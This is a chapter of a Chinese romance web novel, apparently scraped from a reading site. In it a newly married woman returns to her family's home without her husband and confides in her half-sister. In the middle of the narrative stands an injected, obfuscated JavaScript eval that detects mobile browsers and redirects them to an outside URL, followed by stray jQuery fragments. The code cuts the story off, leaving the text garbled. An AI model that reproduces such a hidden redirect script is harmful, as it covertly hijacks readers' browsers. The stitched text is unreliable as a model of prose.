19.回门

作品:《夫人,你的马甲掉了

    出嫁女三朝回门,赵元倚翘首以盼,好容易等到了定远侯府的车舆,前头主座,后头跟着一大串的回门礼。她高兴迎上前,却只见杜想容一人从里头挑帘下来。


    赵元倚生怕是自己漏看了。可不遂她愿,连燕赫的影子也没看见。


    “世子呢?”,她有些慌了神,又顾及到定远侯府的仆从还在一旁,便强行镇定,几乎是用气音问出这话。


    谁家女婿三朝回门不跟新妇一同回岳家的,这要是传出去,容儿的面子往哪儿搁?


    “他有事,没来。”母亲会是这反应,杜想容毫不出奇。今日之事要是传出去,旁人会怎么议论她也能预想到,可她没法对燕赫开口。


    自那晚不欢而散后,他们再无交谈。成婚翌日,她由老太太那边的嬷嬷引着给众人奉茶后,他姗姗来迟,也是对她视而不见,一个眼神也没分给她。


    杜想容松了口气,她疲于应对复杂的东西。嫁给燕赫,不过是她需要一个让她摆脱杜家、摆脱杜嘉与、摆脱无尽流言的渠道而已。


    燕赫这样对她不闻不问也不错。等再过几年,她依旧无所出,便让老太太和太太做主,给燕赫纳上几房美妾,这样对大家都好。


    本应满溢喜气的回门宴,因燕赫的缺席变得死气沉沉。


    赵元倚再故作轻松,也无法强撑笑意。杜永在一旁屁话不说,只顾喝酒。二房缄默不语,只埋头吃饭,杜华浓眼底的笑意都要藏不住,差点把绢巾扯烂。


    姚老太太脸色阴恻恻,刚想训斥些什么,还没出声,便看到杜想容旁边杵着的杜罗衣似笑非笑地盯着她。


    杜罗衣这死妮儿,自及笄后,面孔同那死去的周冉愈发相似了。


    她心中微颤,一时不察,手中的汤匙砸进碗里,发出一声脆响,打破饭桌沉寂。


    众人皆抬头望向她,眼神带着询问:您有事儿吗?


    这么多双眼睛盯着,姚老太太进退两难,干巴巴从嘴里挤了句,“今儿菜不错,大家多用些。”


    她不说这话还好,一说赵元倚就气的抽抽——还不是因为要招待那贵婿,天知道她为了操持这家宴用了多大力气。


    旁人不知道,萧锦可清楚的很,乐呵呵地在一旁附和姚老太太,“不错,大嫂可是下了好多心思。世子虽然没来,咱们也可得多吃些,别白白辜负了大嫂心意。”


    这话明褒暗贬,面上是体恤长嫂操持宴席不易,暗地里确实在说她白费功夫,人世子连面也没露,这一遭纯粹是抛媚眼给瞎子看。


    萧锦这话什么意思,赵元倚一清二楚。可今儿一来是她理亏,二来也是怕她的容儿心中委屈,便按下怒气,只当没听见,顺着姚老太太先前的话招呼众人。


    没燕赫这贵人在,自然也就没有要对新姑爷嘘寒问暖的环节。众人用罢了饭,便纷纷散去。


    赵元倚领着杜想容回了抱月居,屋内陈设不变,还是她待字闺中时的样子。


    “容儿,你实话告诉娘,世子是真有事儿,还是不愿来?”她是真着急,她闺女这才嫁过去几日,便被这般折辱,以后如何了得。


    杜想容随手抽了本书,嘴上囫囵了过去,“是真的有事......”要让赵元倚知晓事情始末,怕是又得忙叨。


    “真的?”赵元倚半信半疑。


    “自然,女儿何时骗过您?”杜想容连眼睛都没眨,瞎话张口就来。


    这话倒是真的,容儿性子虽然内秀了些,可自小便耿直。


    赵元倚的心落了一半,又琢磨起其它事儿来,“那你们,近日那方面还和谐不?”


    ......


    这问题,一下就切到了病灶。捅都没捅,哪里来的和不和谐?


    杜想容沉吟,努力做出羞怯模样,似是而非地来了句,“过得去吧。”


    赵元倚心中大定。新婚男女毕竟羞涩,花样总是不太多,那滋味自然差了些。“过得去”实则已经是不错的评价了。


    她还想再说些什么,见杜想容兴致缺缺,便不再多言。


    “那你看会书,娘去厨房盯着,晚间再做些你平日爱吃的。”赵元倚起身出门,同来寻杜想容的杜罗衣迎面碰上。


    往日两人碰见,多是打个照面便分道扬镳。


    毕竟,杜罗衣忘不了赵氏为虎作伥,纵容杜华浓白白害了一条性命。赵元倚也忘不了周冉杜罗衣一双母女,在她眼皮子底下兴风作浪了这么多年。


    这一回杜罗衣也不例外,不咸不淡地行了礼便打算抬脚进门,却被赵元倚轻声叫住。


    “罗衣。”鲜少喊她名字,赵元倚嘴边生涩,“你二姐姐初为人妇,心中许多滋味恐怕难以言说。你素来同她关系好,便劳烦你多替我开解开解她。”


    杜罗衣心情复杂,心中有一个声音在叫嚣:咱俩谁跟谁,我干嘛要替你办事?我跟你女儿关系好又不是因为你的缘故。


    可抬眼望见赵元倚眼神里藏着的一丝恳切,甚至示弱,她又产生了些令自己鄙夷的心软。她虽同赵氏不对付,可对方拳拳爱女心,她也不忍心出言讽刺。


    “您放心,二姐对我极好,她的事情,我自会放在心上。”说罢便侧了身子进门。


    杜想容头都没抬便招呼她,“你来啦?自己找地儿坐吧。”


    倒不是她能听声辨人,实则是这府中,除却她母亲,肯踏进抱月居的也就杜罗衣了。


    “啧啧啧,这才嫁过去几天,便累成这样,连自个亲妹子也懒得招待了。”


    知道她在打趣儿,杜想容还是放下手中的书,亲手给她沏了杯茶,端到她跟前,“满意了吗大人?”


    “还不错,美人沏的茶真是令人唇齿生香。”


    “扑哧”,两人戏瘾过足,总算叫停。


    杜罗衣正了神色,“认真的,二姐,这几日你过得好不好?没受委屈吧?”


    “还行吧。”


    她过得是真的还行,虽然燕赫态度冷淡(在她看来是情有可原),可燕府众人不知晓内情,只觉得是燕赫不懂事。怕杜想容生气,卯足了劲对她好。


    燕老太太原是蜀中人,有时候火气上来了还会操着一口乡音大骂燕赫,“天菩萨哦,这瓜娃子真是不晓得脑壳是拿啥子做嘚。按他那命格子,能娶到媳妇儿都该谢天谢地喽!”


    她婆母也在一旁附和。可二人嘴上虽骂,可眼底对燕赫的疼爱却不假。


    燕家三代单传,燕赫自出生便是被当成宝贝疙瘩宠着的。除了练武,其它苦一点没吃过。


    这回在她身上栽了跟头,自然气急。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158367|163006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼中神色回转,被杜罗衣精准捕捉,“还行?那不行的地方在哪里?”


    她稍加思索便下了定论,“难道?是世子那方面不行?”


    “不知道”,杜想容莫名开怀,她这便宜妹妹的脑子里面都是什么。


    “什么叫做不知道,你们那啥的时候,你不觉得飘飘欲仙,没有感觉肚子都被撑起了形状,或者第二天的时候没有感觉像被马车碾过一样吗?”


    这都什么跟什么?


    杜想容被缠怕了,只得全盘托出,“我们没圆房......”


    这才对嘛!看纵马哥那底子,也不像不行的样子,杜罗衣松了口气。


    下一秒,她醒了神,“什么?你们没圆房?”声音一点没压住,幸好外头的人都被春梅春菊支开了,“为何?”


    “他有通房,故而半路,我便不想了......”杜想容有些难堪,毕竟这理由确实过于牵强,哪家新妇会因为丈夫婚前跟旁的女人上过床便拒绝圆房的,“我知道这样不好......”


    “没什么不好的,”她话没说完便被杜罗衣打断,“二姐姐,我理解你。”


    杜想容此人,外表虽冷清,看似什么也不在乎。可内心却有一股“暴虐”,她抗拒一切参杂着异物的东西。当发现一样东西不纯净时,她便会抽刀断水。


    比如当发现杜嘉与不再是她心中可敬的哥哥,发现自己无法笃定父母对自己是绝对的爱时,她便会设法抽离。


    无论是人还是物,她想要的都是真诚的、绝对忠于她的。


    如今,发现新婚的丈夫无论身心也并不“纯净”,心里有疙瘩也能理解。


    “二姐姐,你同世子先前并无感情,你对他连了解都称不上,更别提爱慕了。拒绝你不爱慕之人的触碰,这很正常。”杜罗衣宽慰道,“何况这世道,女子婚前要保持贞洁,而男子却可四处拈花惹草,这是哪门子的道理?”


    心底的不安和紧张就这么轻易被杜罗衣化解,杜想容鼻腔多了几分酸涩。


    罗衣,是杜家于她,为数不多的牵挂和羁绊。


    她很感激,在几乎黯淡无光的年岁里,突然多了这么一个人懂她、信她。


    晚间,杜想容准备动身回侯府,杜府众人在门前相送。


    远处传来马蹄声,杜想容抬眼望去,却见到了一个本不该出现在这里的人。


    那人今早用膳才用了一半便愤然离席,只因燕老太太逼他同她一块回门。


    燕赫隔着一段距离便下了马,把马绳递给一旁候着的家丁,才上前跟杜府众人见礼。


    这一回他对赵元倚态度好了不少,一声声“岳母”唤得赵元倚眉开眼笑,对燕赫这女婿越看越满意。


    回程路上,燕赫没骑马,同杜想容一样进了马车。


    车厢内,二人分隔两头,中间隔了十万八千里。杜想容沉默了会,还是诚挚道了声谢,“多谢。”


    “受不起。”燕赫闭目养神,“不是为了你,不过是怕有那爱嚼舌根的,说我燕家糟践新妇。这么大的排头我可吃不起。”


    ......


    他既然都这样说了,杜想容也不再多言。


    弥漫着诡异硝烟的马车,就这么沐浴着红霞,摇摇晃晃地驶向前方。